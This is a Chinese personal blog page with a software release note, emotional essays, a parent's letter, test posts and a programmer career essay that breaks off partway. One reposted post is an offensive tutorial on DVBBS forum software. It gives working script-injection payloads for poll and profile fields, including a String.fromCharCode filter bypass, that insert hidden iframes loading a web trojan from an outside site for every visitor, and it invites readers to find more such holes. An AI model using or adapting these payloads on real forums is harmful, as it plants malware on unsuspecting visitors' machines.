关于作者

用户名:haicao
笔名:haicao
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



访问统计:
文章个数:109
评论个数:57
留言条数:235




Powered by BlogDriver 2.1

悠 客 驿 站

 

悠站几经迁移,现在决定在博客中国定居了。

文章

mp3搜霸v2.1Beta  (作者置顶)

软件下载:

http://haicao.bokee.com/inc/mp3search21.rar

感谢您下载并使用mp3搜霸v2.1Beta
v2.1Beta改正记录:

1.单曲搜索部分采用多线程,搜索到歌曲后自动测试url可用性
2.修改了单曲搜索部分表格控件对应的右单菜单
V2.0 Beta改正记录:

1.增加了影片搜索下载功能


V1.7 改正记录:
1.增加了歌曲下载功能(没这个功能实在不行)
2.界面更加美观
3.右击菜单部分作了二级处理,更清晰明了.

V1.5改正记录
1.换了程序界面
2.增加了许多常用的功能菜单在所有表格控件均有右击菜单操作.
3.更正了,搜索中的bug
注意:
在下载歌曲时请不要关闭本程序,否则下载将中止
(如果您使用本程序进行下载)
当然你也可以复制搜索到的mp3实际url地址后到网际快车进行下载,
本软件具有单曲搜索,批量搜索mp3,下载mp3等功能.


本软件完全免费,再次感谢您的使用!
http://haicao.126.com

- 作者: haicao 2005年11月29日, 星期二 08:53  回复(1) |  引用(1) 加入博采

你真的不是我的另一半吗?  (作者置顶)
 你真的不是我的另一半吗?

- 作者: haicao 2005年10月28日, 星期五 09:30  回复(1) |  引用(1) 加入博采

还是朋友  (作者置顶)

还是朋友

    --作者:木瓜女孩

 

就算缘份到了尽头

无力再挽留

我们还可以是朋友

还是朋友

 

记得你曾说你喜欢张雨生的歌,今夜在电脑前静坐,反反复复地听这首张雨生的《还是朋友》,思绪开始随着音符在心中缓缓地流转,你的影子在歌里若隐若现。泪不知何时已在眼中打转,沉入心底的歉意又涌上了心头。。。

想起离开你已经有半年了,半年来我一直都没有和你联系,离开的这段日子都没了你的音讯,不知道你是否也已经离开了,或者还在原地。你的手机号码我还记在日记本里,只是一直都没有勇气拨打,也不知道你是否换号码了,不知道你在我离去后是否有拨打过我的号码,我的手机在两个多月前就在公交上被小偷偷了。暂时没钱去买,所以也不想要那张卡了,没有把卡补回来。该丢失的就让它丢失吧。

想起你,心中满怀的歉意,很想落泪,深深的自责一直鞭打着自己的心灵。不知道你是否可以感应得到。这个城市其实不太,我们生活在城市的两个角落,其实离得很近,乘车不到半个小时的距离,但也许我们永远也没有机会再见面。我们都在为生活,理想忙碌着,匆忙的脚步里遗失了太多美好的东西。如果你现在的心情已平静,我也不想再打乱你平静的生活,其实只是想轻轻地问候一声,你还好吗?是否偶尔会想起我?如果你已把我遗忘在了生活的背后,那么我也心安了。我当初那样决绝地离开就是想让你早点走出我的世界。如果不能够带给你快乐,我希望我的离去能够减少点你的痛苦。记得曾和你说过我是个喜欢文学的女孩,喜欢现代的诗歌和散文,因为它们常常能够牵动我心底的那根弦。就如同此刻,想起你,我就想起席慕容的一首诗--《诀别》:

 

    不愿成为一种阻挡

  不愿 让泪水

  沾濡上最亲爱的那张脸庞

 

  于是 在这黑暗的时刻

  我悄然隐退

  请原谅我不说一声再会

  而在最深最深的角落里

  试着将你藏起

  藏到任何人 任何岁月

  也无法触及的 距离

 

这诗仿佛就是为我写的。当初我走时也是不辞而别的,也许你直到现在还不知道我离开的原因。其实那是我在心中挣扎了很久的决定。我们曾经是那样好的合作伙伴,从你身上我学到了很多东西,也汲取到了不少快乐。一直都觉得你是个很好的人,一个很可爱的男生(请原谅我无法用准确的言语来形容你,但我这样说是发自内心的),一直都把你当作一个很好的同事,我从没有非分之想。当你向我表白的时候,我想虽然那时也极力婉言拒绝,但一定是伤害了你。对不起,真的对不起,其实我真的只是把你当作一很好的搭挡,一直都是,记得我离开的前一天我们还有在一起合作,只是那们我们已经少了许多言语,也读不懂彼此的心。也许你会觉得我拒绝你是看不起你,或者是排斥你,其实真的不是,我只是觉得在公司同事之间谈恋爱不太好,再说那时候我们认识还不是很久,只是接触比较多,你给我的感觉其实更像一个可爱的小弟弟,虽然你比我大。我想一定是那时我伤害了你,从那以后你的心情才变得阴晴不定,之前你都是很开心的,在公司你和我说的话最多,后来你渐渐沉默,看着你那么不开心,我心里也真的很难受,这样的心情也影响了一点工作。我想工作应该是用来给生活创造快乐的,如果我的存在让你生活得那么不开心,那么我还是离开比较好,也许痛苦是暂时的,时间会带你走出我的世界,还你快乐。于是我就匆忙地沉默地走了,没有和你道别,因为既然下定决心了我就不想再纠缠不清,我原本是想我可以潇洒地“挥一挥衣袖不带走一片云彩”的,可是如今生活告诉我,我还是没有走得那么潇洒,我也并不曾走远,还在离你很近的地方,静静地想你,心中还是没有完全放得下你。

 

现在已经是深秋时节了,也许秋天是容易思念和感伤的季节,这段时间常常在秋风煞起的街头想起你。今晚下班走路回家,一个人穿梭在人群里,看街边的路灯拉长了自己的身影,孤单而又落寞。想起从前我们常在一起加班到天黑,然后饿着肚子回家的日子,虽然有点辛苦,但更多的是快乐。现在的我已经很少加班到那么迟了。我把更多的时间留给自己学习充电。偶尔有加班也拿回家做。在匆忙的脚步里已经忘了很久没有去欣赏路边迷人的夜景了。

 

前几天在网络上看到一个网友的一篇文章,写他的想念,让我想起了你,在我默默离去后,你是否也曾想起过我,你是否也不知我在世界的哪一个角落?其实我并不曾走远,就在离你一个转身的距离。如果今生有缘我们还能够再相遇,我希望我们还能够是很好的朋友,我说过,我一直觉得你是个很好的人,一直都是。只希望你不要因为我的离去而改变对我的看法。

 

夜已经很深了,张雨生的歌也不知道在耳畔放了多少遍,整理了这些思绪,写出来,算是纪念吧,也希望心中的话有一天你能看得到。心中的思绪还有很多,很零乱,想写又不知道从何时写起,不想了,准备睡觉了。

 

掀开窗帘的一角,看到今夜天上有点点星光,不知道此刻的你睡了没?今夜,我把祝福偷偷挂在天边那颗最亮的星星上面,如果你半夜醒来抬头看天,一定会看到我闪烁的祝福:愿你今生幸福!一路走好!

- 作者: haicao 2005年10月27日, 星期四 12:43  回复(8) |  引用(1) 加入博采

念茵  (作者置顶)

念茵

绵绵不断的是对你的思念,思念与牵挂时刻左右我的思想,伴着我渡过一次次的四五十分钟,我有点后悔,后悔没有在最后一次见到你时认真的跟你道个别,认真的表白对你的心意,道出我自见到你第一次起的时时刻刻思念你的心曲历程。

我恨自己恨自己没有帅气的外表,没有在女生面前侃侃而谈的勇气。我恨自己,很小的时候一时“自做聪明”造就我今时的痛苦与不幸。我更恨自己没有勇气向你表白一切。

已经很久一段时间没有见到你了,不知你,现在是否已经遇到了一个像我一样深爱你的人,如果有,我希望你不要匆忙地决定,我天天在内心默默地向上帝祈求,祈求你不要在我再次见到你之前就成了别人的新娘。虽然我不相信有上帝,但我还是多么希望有个圣明的上帝念在我对你一份执着真诚的真情份上,让我拥有一位美丽聪慧的女孩---你!

我现在唯一能做的也只有等待,因为我现在不知道你在世界的哪一个角落。

------------------------------------------------------------------------------------------------------------

怎么写在纸上的很多,打成文字变这么一点了。

- 作者: haicao 2005年10月23日, 星期日 15:37  回复(3) |  引用(1) 加入博采

无标题

qwerqwerqweqweqwerqwrqwer

- 作者: haicao 2008年06月5日, 星期四 10:59  回复(0) |  引用(0) 加入博采

qwerqwerqweqweqwerqwrqwer

- 作者: haicao 2008年06月5日, 星期四 10:58  回复(0) |  引用(0) 加入博采

一个啃老族母亲的自白:孩子,请你搬走
子,今天你又装作若无其事地,暗示妈妈,说市中区的房价,又在飙升,如果再不行动,或许以后你和女友,连一间栖息的小屋都没有。我淡淡地看你一眼,终于没有像你希望的那样,说出“妈妈给你们买”的话来。而你,也在这样尴尬的沉默里,即刻气嘟嘟地放下碗筷,摔门出去。我从窗户里看着你远去的背影,瘦削,懒散,有些玩世和任性,你还是赖在父母怀里,始终不肯独立。可是,亲爱的孩子,你已经25岁,一份稳定的工作,一个需要呵护的女友,两个日益老去的父母,难道这些,还不足以让你成熟,承担一个成人该担负的责任?

____很小的时候,你就习惯有事来找妈妈。5岁的时候,你要妈妈帮你整理扔得到处都是的玩具;10岁的时候,看见同学脚上气派的皮鞋,就哭闹着让我也去买来;15岁的时候,你写情书给班里的女孩子,说,我妈妈认识很多的人,谁要是欺负你,尽管告诉我,20岁的时候,你读大学,每次打电话来都是抱怨,说食堂的饭菜如此糟糕,为什么不给我多寄些营养品?今年25岁的你,在一次与同学闲聊里,很骄傲地说,我爸妈早已给我备好了买房的钱,我即便是不怎么奋斗,也一样可以过得很好。每一次我都宽容地笑笑,就淡忘掉了。

____习惯了听你的吩咐,只以为,对你的每一滴好,你自会记得,且在将来我们老去,你已壮年的时候,可以得到你的细心照料。可是而今,你日日回家蹭饭,又时常将女友带回家来久住,让依然工作的我,还要为你们的一日三餐奔波劳累。这样的景况,终于让我连一丝的微笑,都无法挤出。我发现,这样苦掉自己,全力为你的方式,只是使你心底的自私和懒惰,愈是潜滋暗长,无沿无边。

____终于承认,25年来对你无节制的宠爱,是一个多么大的错误。有一次开玩笑,我说妈妈或许活不到你娶妻生子呢,你一下子便急,说,那怎么行,将来谁给我们洗衣做饭,谁给我们照料孩子?当时的我,有一种无法言说的忧伤。原来当我们老掉,依然还要为你继续操劳,直到生命的终点。我们不是养育了一只日渐丰满有力的雄鹰,而是一个寄居的虫子,它要将滋养了它的鲜嫩的骨头,一直啃到干枯腐朽,再无营养。

____爱的孩子,我不得不残忍地告诉你,你的上半生,与我息息相关,而你以后的道路,我将不再过问。妈妈已经将兼职的工作辞掉,我不能为了你的幸福,而将自己退休后的悠闲时光,交给继续为你挣钱买房的苦痛中。也请你,从父母的身边搬走,用自己的薪水租房去住。孩子,妈妈抱歉,不该这样爱你。而你,也应对那些将父母啃到疲惫的往昔感到愧疚。且让我们,彼此原谅,彼此放手。

- 作者: haicao 2007年06月25日, 星期一 10:46  回复(0) |  引用(1) 加入博采

新思路现动网新漏洞
文章作者:优格[GXU] (www.wuzhou.org
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
原文下载:
http://www.wuzhou.org/dvbbs.doc
 
  前段时间focn等人发现了动网的提权漏洞,这漏洞可是闹得天翻地覆的,连当当网论坛也给挂上马了。正是这个漏洞盖住了动网的其他漏洞,使动网的其他漏洞少为人知。
相信大家都过《终结动网最新挂马方法!》的文章了,其实这个漏洞已经出现了大概半月了,后来才被公布出来。利用方法就是在“修改个人联系方法”中的“个人主页”写入代码:
CODE:
</Script><IfraMe height=0 width=0 src="[url]http://www.wuzhou.org[/url]"></IfraMe>


在MSN中写入代码:
CODE:
<Script Language=JavaScript>var actioninfo3='单帖屏蔽'


其中http://www.wuzhou.org为你的网页木马。这样,我们发贴或者回帖,只要有人访问这个帖子就会跳转访问我们的木马。其原理就是对原代码进行欺骗,今天主要说的是动网的另一个挂马方法-----投票挂马。通过测试,发现动网的所有版本均存在这个漏洞。
  首先,我们发表一个投票看看。如图1



我们看一下源文件:
CODE:

<Script Language=JavaScript>var vote='ssssssssss';var votenum='0';var votetype='0';var voters='0';</Script>




  其中ssssssssss是我们自由写入的,那么我们能不能对源文件进行欺骗,从而让它运行我们的代码呢?打个比方,一个括号:(),当我们在()内写进)和(,那就变成了两个括号。道理是相同的,我们也可以这样进行代码欺骗。我们在发表投票中写入:

CODE:
';var votenum='0';var votetype='0';var voters='0';</Script><iframe src="[url]http://www.wuzhou.org/[/url]" width="0" height="0"></iframe><Script Language=JavaScript>var vote='



如图2:



在这里顺便说一下,动网的投票功能没有进行严密的过滤,当写入的投票项目为网页代码时,代码照样可以执行,而且写入的代码并不按照它所说的“每行一个投票项目,最多10个”,并没有分行。发表投票后,查看源文件:
CODE:
<Script Language=JavaScript>var vote='';var votenum='0';var votetype='0';var voters='0';</Script><iframe src="[url]http://www.wuzhou.org/[/url]" width="0" height="0"></iframe><Script Language=JavaScript>var vote='';var votenum='0';var votetype='0';var voters='0';</Script>


代码是无法执行的,动网进行了过滤。再次饶过思路,动网只是对<和>进行过滤,对+'/等符号没有过滤。再次在投票那写入代码:

CODE:
';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+'IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://www.wuzhou.org width=0'+String.fromCharCode(62)+String.fromCharCode(60)+'/IFRAME'+String.fromCharCode(62);var vote='1


如图:


发表后成功跳转了www.wuzhou.org这个站。如果我们把站改成我们的网页木马,那么一个木马贴就这样完成了。其实这只是动网代码欺骗的一小部分,还有不少的地方可以进行代码欺骗,比如用户头像,联系方法等。

  后记:现在很多的程序作者并没有看到到代码欺骗这安全危害,在我看的很多网站程序,不管是asp还是php的,都有许多程序可以进行代码欺骗,希望这篇文章能起到抛砖引玉的效果,让各位朋友找到更多的漏洞。

- 作者: haicao 2006年03月10日, 星期五 08:34  回复(0) |  引用(1) 加入博采

修炼一名程序员的职业水准

修炼一名程序员的职业水准(林庆忠__署名原创)
作者:林庆忠,1990年毕业于昆明工学院计算机软件专业,后又于1999年毕业在南京大学 完成软件工程专业硕士的学习,现供职于CNPC旗下的一个行业软件研发中心,因为在网上看了许多有经验的各路软件开发人员写的好帖,一时手痒兴起,也凑一篇壮壮声势。

 

假设你是一名软件专业毕业的本科学子,如何在工作中修炼成为一名有较高职业水准的程序员呢,本文试图总结作者从事15年软件开发工作的感想,希望对有志成为职业程序员的人有所帮助,并借此机会感谢原昆明工学院计算机系的和智玲老师和张怀宁老师,特别感谢我的硕士导师,南京大学计算机系的博导郑国梁教授。

注:本帖言辞尖刻,乃作者脾气秉性使然,如果你看着有气,就请多多见谅,放下别看了。

 

程序就是一系列按步骤进行的操作序列,它有好多种级别,比如最低级的微程序、次低级的汇编程序、高级的各种编程语言程序、最高级的脚本语言程序,也许我列的不对,但没关系,我要说的是不管是那个级别的程序,其本质都是操作的逻辑序列。大多数系统和应用程序都是建立在高级编程语言上的,比如C、C++、C#、FORTRAN、BISIC、JAVA等等,就让我们只关注这一级的编程能力吧。因此如果一程序员的逻辑能力不高,他永远都不能成为一名具有合格职业水准的程序员,我们在下面的讨论有关编程能力的方方面面,最终都是为了最大程度地提高和实现一名程序员的逻辑能力。

 

一、掌握基础知识:十六年寒窗的持续积累

从7岁读小学起,经过16年的学习,你从软件专业本科毕业后,必须完成以下几门专业课程的学习:计算机组成、操作系统原理、汇编语言、数据结构、编译原理、数据库原理、软件工程、结构性设计语言(PASCAL、C)、面向对象设计语言(C++、C#)、计算机网络等,你最好还懂一些算法分析、分布式系统、计算机图形学、形式逻辑、人工智能原理、软件设计模式、软件构架/框架等研究生的课程,16年来,你积累的除了知识,更重要的是形成最适合自己的学习方法和工作方法。这些是你具备程序员职业水准的基础能力,不要受什么计算机软件怪杰之类传奇的影响,那不过是小概率事件,而且这些怪杰们就算没有读过软件本科和研究生,也往往自学了大多数专业课程,很可能比在校学习的学生对这些课程的精髓部分理解的更好,还有他们的工作方法和思维方式是特别而高效的,但普遍性差,可以借鉴,不宜模仿。好,所以现在你只需要问问自己,那些课程和知识都学会并掌握了吗?如果是,那就准备好进行实践了。

 

二、在实践中提高:成为一名高水平的Coder

好了,你毕业了,在校功课都不错,也找了一个专业对口的工作,你想大展鸿图了,可是别急,你的翅膀还不够硬,不信我们说来看看。

通常,你在工作中都会用到某一种单位/公司固定的操作系统和编程语言开发环境,比如Windows、UNIX、LINUX等操作系统,又比如用VC、VB、PB、Delph、JAVA、Motif/XWindow、QT、OpenGL、OpenInventor等编程语言和开发环境,我们在后面把它们合称为开发环境。就在校学习的有关开发环境的知识而言,大概你距工作需要的差距是不小的,当某个操作系统和编程语言环境成为你的饭碗时,就不应也不能用通过课程/认证考试之类的眼光和要求来评价你的能力,即使你能考100分。你需要深入地学习该操作系统和编程语言环境的各类开发手册的所有内容,你会说大多数你都用不上,其实你既对又不对,对的是单从使用的角度而言,你确实用不上开发手册的大多数内容,比如庞大的VC开发类库和复杂的开发环境,你在实际工作中能用到的不到总数的1/10或1/5,不对的地方在于,你用到的部分不是孤立存在的,它们是整个体系中的一部分,只有对整个体系有了一个较完整的了解,才能得心应手、随心所欲地用好你用到的部分,你才算初步具备在这种开发环境下进行Coding的职业水准(还远不够程序员的职业水准呢),而这只是刚开始。如何才能真正掌握一种开发环境的全面的知识呢,最原始的办法就是读开发指南/教程、参考手册,一般来讲,学习开发指南/教程时,你如果是一个认真的人,都会完成5/10~7/10左右内容的学习和练习,如果你想成为职业选手,就应该完成9/10以上内容的学习和练习。参考手册不同,大多数所谓的“程序员”们只是用到了才翻翻,这差的太远了,你应该象读开发指南/教程一样,每个环节都要读,比如VC,参考手册中的每个类,类的每个函数,都要读上几遍,它们往往是一小伙一小伙地纠缠在一起使用的,开始时读得你毫无头绪、心烦意乱,不要紧,还有一手呢,如果你开发环境安装的全面,它们往往都有开发商做的demo例子可看,你就进入另一个境界了,开始时你关注demo中的具体技术,后来你发现这些demo的程序写的都还算不错,结构简单但合理,如果你真的用心,就一定能发现一些个别的demo是极品,它所展现的程序逻辑结构是你设计不出来的,你现在有点更关心它的程序设计构架,甚于对你原始目的(某种相关的技术/技巧)的关注,这时的你,开始了从一名Coder向一名Programmer的转变,你会忍不住要看看开发商提供的源程序,比如.h和.cpp,通常你会找到include路径下所有的.h程序,你才知道,哇!好多好多东东在参考手册中都没提到,你要学的太多了,没时间顾及其它的业余爱好了,现在知道为什么程序员是年轻人的职业了吧,你要有足够多的时间才行,即使你的智商有160。如果你走到这一步,在你工作的团队中,已经是经常有人向你请教技术问题,经常有人请求你帮忙debug,你已是公认的“高手”了,别得意,因为你仍然是个Coder,为什么这么说呢,你想想,你已深入了解了这个开发环境中的各种技能,知道一名Coder如何用好这些东西,可是你能设计的出提供给Coder们用的东西吗?唔……,你想了想,可能还不太行。对了,就是这样,你还是一名小我境界的程序员呢,本质是个Coder,当然已是一名高水平的Coder了,然而你需要进一步登堂入室才能成为一名真正的程序员。

让我们继续吧,通常你都是从精通一种编程环境开始的,假设你已经较为精通在Windows下用VC开发软件了,这时在技术和技巧方面你将面临一小一大两个挑战,第一个小挑战是如果公司/单位改换了开发环境,比如用LINUX下的QT交互语言工具进行开发,你不过是把前面掌握VC的过程再来一遍,由于在主观上经历了VC工具的学习过程,在客观上各种开发环境都有太多相似的方面,这回你掌握的应该较快。要小心,在这时第一次诱惑之门打开了,因为你感觉良好,看!这回这么快,我就这么好地掌握了新的开发环境,你开始关注其它暂时还用不到的同类环境,比如VB、Delph、JAVA,如饥似渴地掌握各种开发工具,证明自己的学习能力和价值,但你忘了一点,你仍然是个Coder,只不过是一个在好多开发环境下都能编程的Coder,就像你生活在中国,因而精通了汉语,工作需要你又掌握了英语,然后你就来了劲,把俄语、日语、阿拉伯语、拉丁语,等等等等,都学习个遍,我只能说,有点BT。你忘了自己是个职业人,同一类的东西工作中用得到才需学习,太多太多的Coder们喜欢在一起比较和炫耀自己会掌握了几种开发工具,不信你看看招聘时的求职书就知道了,sigh!他们中绝大多数人永远都只能停留在这个层次上,心浮气躁,一生都再也当不成真正的程序员了。总结一下,其实你在这时需要的是对自己掌握新开发环境的能力的自信,而不是一遍遍地重复来证明自己。第二个大挑战就是你明白了只掌握VC是不够的,你发现自己有点浅薄,有很多东东你会用但你不太懂,很多方面支持VC编程的知识你都没掌握,比如操作系统的源码、网络协议知识、Windows 的注册表、进程和线程的基础知识、硬件驱动方面的知识、ActiveX、Windows 庞大的 API,又是一个等等等等,这些基础知识的学习和掌握可是要花费大量时间的,你再一次深切地感到时间太不够用了,因为这时的你大概有许多俗务缠身了,所以有点沮丧,还不用提IT业每天不知有多少新东西在发布,KAO,永远都跟不上,越拉越远了。哎!别气馁,振作一点,你还是忘记了自己是个职业人,既然好多东东在工作中你永远都没机会用,那么干嘛要学呢?用什么才学什么,最多预测到马上要用什么,先一步学什么好了,要知道没有人是真正的、无所不精的全科大夫,除非你是神,但如果你还在耐着性子看这篇文章,你肯定是个人嘛。

OK,一般工作后三五年,你经历了上述过程,经受了诱惑和考验,终于明白了一个道理:你要的是强劲的学习知识的能力,是对某种软件知识/技能的有深度的精通,一种摸到它的根的深度,而不是已掌握的技能的种类和数量。这时无论谁用他掌握了多少种你不会的技能来吓唬你都没用,你对他的层次只有蔑视。通过几年的学习和工作,要记住最重要的一点,永远最重要:对自己学习IT知识能力的自信,一个程序员一生都要不停地进行高强度的学习,用心问问自己,有没有这个自信?别用虚荣心来骗自己哦,如果没有的话,那就不必花费你宝贵的时间向下看了,作者在此感谢你有耐心看到这里,现在建议你关闭这篇文章,趁着年轻,当机立断转行吧!

三、注重逻辑:成为一名职业程序员

好,再前进一点点,你就要成为一名职业程序员了,让我们继续来完成这个任务吧!我们在前一节提到过,“你发现一些个别的demo是极品,它所展现的程序逻辑结构是你设计不出来的,你现在有点更关心它的程序设计构架,甚于对你原始目的(某种相关的技术/技巧)的关注”,其实你是在关注这个demo程序作者的思维逻辑,所有程序的本质就是逻辑。技术你已经较好地掌握了,但只有完成逻辑能力的提高,你才能成为一名职业程序员。打一个比方吧,你会十八般武艺,刀枪棍棒都很精通,但就是力气不够,所以永远都上不了战场,这个力气对程序员而言就是逻辑能力(其本质是一个人的数学修养,注意,不是数学知识)。逻辑能力也是逐步提高的,开始时你一定是用直观的逻辑能力来编程的,怎么想就怎么编,不对就再改,在改进中提高自己的逻辑能力,从直观逻辑能力提高到抽象逻辑能力,这是很正常的。提前说一句吧,到达逻辑能力的至高境界,其表现是用数学语言来描述问题和问题的解决办法,高度抽象!好,说回来吧,你要提高逻辑能力,最快的办法就是读别人写的结构优秀的程序。优秀的代码是百读不厌的(这句话是我抄来的),暂时放放对其中某种技术和技巧的关注吧,你要推导和学习的是这些好程序的逻辑结构,它们是被精心设计出来的。你可以先捂住这个demo程序,自己设计一个功能相同的程序结构,然后比较一下demo的程序结构,如果差距较大,那你就不应简单地改进一下,而是要把demo作者设计的过程在心里复原一遍,做到这一点也许有点困难,但这种事干的多了,你就会越干越快,越来越得心应手,你的逻辑能力飞速提升,你能看得上的逻辑结构优秀的程序开始不多了,下一步就是练习。从工作中开始吧,如果你有空闲,你需要做至少两类练习,一类是算法练习,所有的经典算法都是经典的逻辑,题目有的是,像个好学生一样吧,每年的国内国际编程竞赛都有逻辑要求非常高的题,你可以只选一两道难题来做做。当你可以把复杂的单递归程序(只有A调A)变成非递归程序时,已经不错了,如果你能看得懂双递归程序(A调A、A调B、B调A、B调B都有),我为你鼓掌!你不必往下看了,我有点不好意思啦――班门弄斧,你快滚蛋吧!另一类是把以前和当前你工作中你不满意的程序推倒重新设计一遍,这非常重要,省时省力,因为你熟悉需求,技术上也没问题,目的就是改进程序的逻辑结构,很划算哦,唯一要克服的就是:你对推翻以工作中那点小小成就的心理障碍,如果你真想优秀,说句粗话:这点心理障碍算个屁,一遍遍反复地推倒已有的成果只能使自己快速进步,放手干吧,没什么好可惜的,马恩早就在《共.产.党宣言》里说过了:在这个过程中,你失去的只有锁链(禁锢你思想的锁链)。

让我们来总结一下,经过自我否定后,再生的你尽管对过去的“业绩”还有一些眷恋,但已是一个初步具备职业水准的程序员了,掌握了相应的技术和技巧,具备了较高的抽象逻辑思维能力,最主要的特征是:能自觉地自我否定,不断地追求更高水平的逻辑能力。

在这个过程中,如果你能注意以下一些小的方面,你前进的步伐也许会快一些。

l         从编译原理的角度来理解你工作中使用的高级语言,如果你做到这一点,至少有两个好处,第一个好处是避免一大堆低水平重复出现的编译错误。一名优秀的Coder平均在一个工作日中应该完成200行以上的源码,其编译错误应该控制在5个以下,要知道这200行源码不是一次完成的,所以大多数情况下你都要追求一次编译通过,而一名职业水准的程序员,应该进一步做到即使用purify这类的工具来检查源码,也不会存在严重的内存泄露。第二个好处是可以提高源码的可读性和效率。规范地编写你的代码使你自己的逻辑清晰,因为你明白多加几个括号和空行、多换行对齐、多注释,编译器是会自动识别的,不影响程序执行的效率,反过来,控制好递归调用和循环内的if语句才是提高程序效率的关键,要全力避免递归,但要深刻理解递归,能通过自己建立堆栈来把递归程序转换成非递归程序,要求还是较高的哦!

l         避免思维陷阱,只要你是人就一定有自己的思维惯性,这一定又会表现在你的程序逻辑中,有时你就是从这个惯性中跳不出来(谁都有这个时候),但要心里有数才行,所以你需要帮助,如果你有几个水平相若或更高的职业伙伴,太好了,当遇到花30分钟还打不下的bug时,就别浪费时间了,找他们吧,最要紧的是能思路清晰明确地表述你的问题,通常你自己在这个过程中或者伙伴中就有人把问题解决了,又快又好。另外,有几个可以良性竞争的职业伙伴是人生的一件幸事,1+1>2,大家各有所长,你最好做到及时公开你的成果,技不压身嘛,IT发展的这么快,你再优秀,那点东东也没有什么值得隐藏的,所以你可以技术或水平不够高,但千万不可以让真正具有职业水准的选手鄙视你的职业品质和行为。

l         有自己debug的特点,下面的说法作者不敢太肯定,只是经验之谈。即使在VC这种高度完善的开放环境下,你仍然应该要求自己仅凭打印语句就能debug。这也有两点好处,第一个好处是,遇到bug你会认真想问题所在,而不是用debug工具一步步简单地追踪卡在哪儿了,你定位bug范围的方式是从大到小、从粗到精,这是一种自顶向下的思维方式,而用工具追踪,容易形成自底向上的思维方式,这不算好,你应该先看到森林,再看到树木。我反复提及:程序就是逻辑过程,大多数程序从main函数开始,是由数据结构和功能子程序组成的一个树形结构的逻辑过程(要认清即使是面向对象的程序语言也是一样的),它的执行过程是深度优先的,但你定位bug应该是广度优先的,好好想想这一点,嗯?第二个好处是强迫你思考并记住而不是用工具看到调用过程,你大脑的抽象逻辑思维能力和胳膊上肌肉的力量一样,都是练出来的,如果你的bug是程序结构上的逻辑错误引起的,这一点就非常重要了,顺便说一句,最难打的bug就是程序逻辑结构错误导致的bug。你要是真正明明白白地认识到这儿了,那我就没什么东西可以告诉你了。总之,程序员的职业水准:生产效率和程序质量,主要是取决于源码中bug的数量和debug的速度,而不是取决于编写源码的速度。给你一个我自己定义的考查一个职业程序员的指标:一个合格水准的职业程序员,编程的时间如果算一份的话,其累计debug的时间不能超过一份,真正职业高手累计debug的时间应该控制在0.5份以下,如何?你关上门悄悄问问自己,你花费在编程和debug上的时间比例是多少?如果你把程序员作为自己一生的职业,那么就永远都要牢记一点:追求做一个0 bug的优秀程序员!这是任何一个想成为职业程序员的人的理想,请相信:坚忍不拔地追求实现这个理想将让你出类拔萃!

l         做好程序的单元测试,这是另一项考查你是否是一名具有合格职业水准的程序员的一个必要指标。其实在你拿到需求的时候就要准备单元测试用例了,并且这些用例将直接影响你的详细设计(有关软件设计本来是该放在第四节讲的)。我们还是打比方吧,当你拿到一个需求时,除了分析它静态的功能外,还应明确它动态的操作/执行过程,把这个动态过程明确地用流程图画出来,比如分为A~Z的26步,其中A又可以进一步分解为A1~A5的5步,直到不能再分解为止。又比如说A3步不可分解了,那么你应该把A3步的正常操作和所有五花八门的异常操作都列出来,确保正常的操作肯定正确,异常的操作起码程序不退出才行。这样你就要写好多好多的测试用例,说句老实话,我也从来不写!但我一般会列一个提纲,比如A3步有正常的操作a、b、c、d、e共5项,异常的操作有f、g、h、i、j、k、l、m、n共9项,你在进行单元测试时都应该跑一遍,这样的程序都还不敢说质量如何好,但起码可以说较稳定吧!如果要想在进行单元测试时干得快、效率高,那么在进行详细设计时,你就应该把A3步中对所有正常操作和异常操作的判断都设计好,在编程实现A3步时,使得程序的结构合理高效,对不对?所以,如果你在工作中是割裂地看待软件工程中从需求、分析、设计、编程、测试等各个环节,恐怕水平很有限喔!但如果你在分析需求时就能看到测试的问题,并改进设计和实现,为此做好相应的准备工作,嘿嘿,整个软件开发过程你的效率会高很多,通常你在一个开发团队中就会高度自信的,你已越过当一名偏颇、露骨的高手的境界,成为一个平静的高手,这可是The best in the best!,用周星星的话说:是高手之高高手,因为别人看不出你高在哪儿,没见你有什么高招或特拚命干,但反正你就是干得又快又好、又省力。关于进行单元测试还有很多复杂的方法,在此本文只提到了最基本的一点,目的是让你在工作上考虑周全、安排有序,其它的自己琢磨吧,没有人能替你吃饱饭!

l         如果你是用C++编程,我再简单谈谈有关内层释放的一个小技巧,就是对所有你编写的类,在构造和析构函数中加打印语句,统计每个类在运行程序时构造和析构的地方,如果是配对的,那么起码没有对象类一级的内层在程序运行结束时没有释放,然后你就可以把打印语句删掉了,招数虽土,但管用!

l         还有其它一些好习惯,在这里我随笔写一些,你要是有不同看法也请一笑过之吧。编程时应该对齐缩进,一个缩进用一个tab键,一般是4个空格,严格遵守开发团队的编程规范也是非常重要的。一个子程序不应超过30行(不算空行),其内多重循环不应超过3层,否则都应该分裂成两个子程序,个别算法程序可以长一些,但也不宜超过200行。通常一个类的所有成员函数总和不宜超过1500行,多了就应该考虑分解成两个类(这个工作最好在设计时就完成)。每完成一小段程序,比如15~30行,就立即编译运行,不要假装高手,先敲它一大堆程序,再编译运行,妄想一次成功,体验一种假爽的、虚荣的快感,或炫耀给别人看,这么做只能证明自己是一个不折不扣的傻瓜,装酷而已。因为只要有一次不成功,你就会花费大量的时间来调程序,别人的进度在这时就远远地超过你了,平常心是道,还是修炼真功夫吧!孙子兵法里关于这一点有明确的阐述,我就不引用了,但建议你真的不要这么干,除非你确实就是这样总是一次就成功的天才,那你还看这篇文章干什么呢?我又不是写给你们这些天才们看的。再就是有学会买好书、读好书,关于计算机和软件方面的书太多了,时间有限,比如有一个叫侯捷的家伙,几乎写的每本书都不错,张国峰的C++编程也不错,这只是我的个人意见啊,好书多着呢,列出来比这篇文章长好多倍,我就不多说了。还有一招,要是你运气好,能搞到一些著名软件系统的源码,好好读读吧,在此我只能告诉你,Linux操作系统的一些源码不错,是开放的,你可以合法地搞到,其它的不要说是我建议你侵犯知识版权啊!

四、天生神力:成为系统分析员

本来就论述如何成为一名职业程序员而言,本文已基本完成任务了,但《菜根谭》有言:竭世机枢,似一滴投于巨壑,穷诸玄辩,若一毫置于太虚。既已乘兴到此,何妨多置一毫于太虚呢,作者不才,干脆尽兴写算了。

